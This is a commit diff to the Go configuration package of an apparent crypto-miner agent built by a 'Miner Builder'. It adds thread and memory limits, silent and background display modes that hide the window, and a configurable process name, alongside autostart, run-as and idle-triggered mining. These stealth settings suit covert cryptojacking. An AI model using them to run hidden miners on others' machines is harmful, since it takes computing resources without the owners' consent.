Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.

agent/config/config.go

@@ -1,22 +1,27 @@
 package config
 
 import (
+	"runtime"
+	"strings"
 	"time"
 )
 
 const Version = "1.0.0"
 
-// BuiltinConfig holds compile-time settings generated by the Miner Builder.
 type BuiltinConfig struct {
 	WorkerName  string
 	ServerURL   string
 	Wallet      string
 	Threads     int
+	ThreadMode  string
+	ThreadPercent int
 	CPUPriority string
 	MiningMode  string
+	DisplayMode string
 	SilentMode  bool
 	RunAs       string
 	AutoStart   bool
+	ProcessName string
 	BuildID     string
 	BuiltAt     time.Time
 	PoolHost    string
@@ -24,6 +29,7 @@ type BuiltinConfig struct {
 	PoolTLS     bool
 	PoolPass    string
 	MaxCPUUsage int
+	MaxMemoryPct int
 	MinFreeRAM  int
 	IdleThresholdPct    int
 	IdleDurationMinutes int
@@ -31,7 +37,6 @@ type BuiltinConfig struct {
 	ScheduleEnd         string
 }
 
-// RuntimeConfig is the resolved configuration used by the agent.
 type RuntimeConfig struct {
 	BuiltinConfig
 	AgentID string
@@ -42,15 +47,34 @@ func Load() RuntimeConfig {
 	if b.Threads <= 0 {
 		b.Threads = 4
 	}
+	if b.ThreadMode == "" {
+		b.ThreadMode = "percent"
+	}
+	if b.ThreadPercent <= 0 {
+		b.ThreadPercent = 75
+	}
 	if b.CPUPriority == "" {
 		b.CPUPriority = "below_normal"
 	}
 	if b.MiningMode == "" {
 		b.MiningMode = "always"
 	}
+	if b.DisplayMode == "" {
+		if b.SilentMode {
+			b.DisplayMode = "silent"
+		} else {
+			b.DisplayMode = "visible"
+		}
+	}
+	if b.ProcessName == "" {
+		b.ProcessName = sanitizeProcessName(b.WorkerName)
+	}
 	if b.MaxCPUUsage <= 0 {
 		b.MaxCPUUsage = 80
 	}
+	if b.MaxMemoryPct <= 0 {
+		b.MaxMemoryPct = 70
+	}
 	if b.MinFreeRAM <= 0 {
 		b.MinFreeRAM = 1024
 	}
@@ -68,3 +92,58 @@ func Load() RuntimeConfig {
 	}
 	return RuntimeConfig{BuiltinConfig: b}
 }
+
+func (c RuntimeConfig) EffectiveThreads() int {
+	mode := strings.ToLower(c.ThreadMode)
+	if mode == "fixed" {
+		if c.Threads < 1 {
+			return 1
+		}
+		return c.Threads
+	}
+	cores := runtime.NumCPU()
+	if cores < 1 {
+		cores = 1
+	}
+	pct := c.ThreadPercent
+	if pct < 1 {
+		pct = 1
+	}
+	if pct > 100 {
+		pct = 100
+	}
+	threads := int(float64(cores) * float64(pct) / 100.0)
+	if threads < 1 {
+		threads = 1
+	}
+	if threads > cores {
+		threads = cores
+	}
+	return threads
+}
+
+func (c RuntimeConfig) HideWindow() bool {
+	switch strings.ToLower(c.DisplayMode) {
+	case "silent", "background":
+		return true
+	default:
+		return c.SilentMode
+	}
+}
+
+func (c RuntimeConfig) BackgroundMode() bool {
+	return strings.ToLower(c.DisplayMode) == "background"
+}
+
+func sanitizeProcessName(name string) string {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return "CryptoMinerWorker"
+	}
+	replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
+	clean := replacer.Replace(name)
+	if clean == "" {
+		return "CryptoMinerWorker"
+	}
+	return clean
+}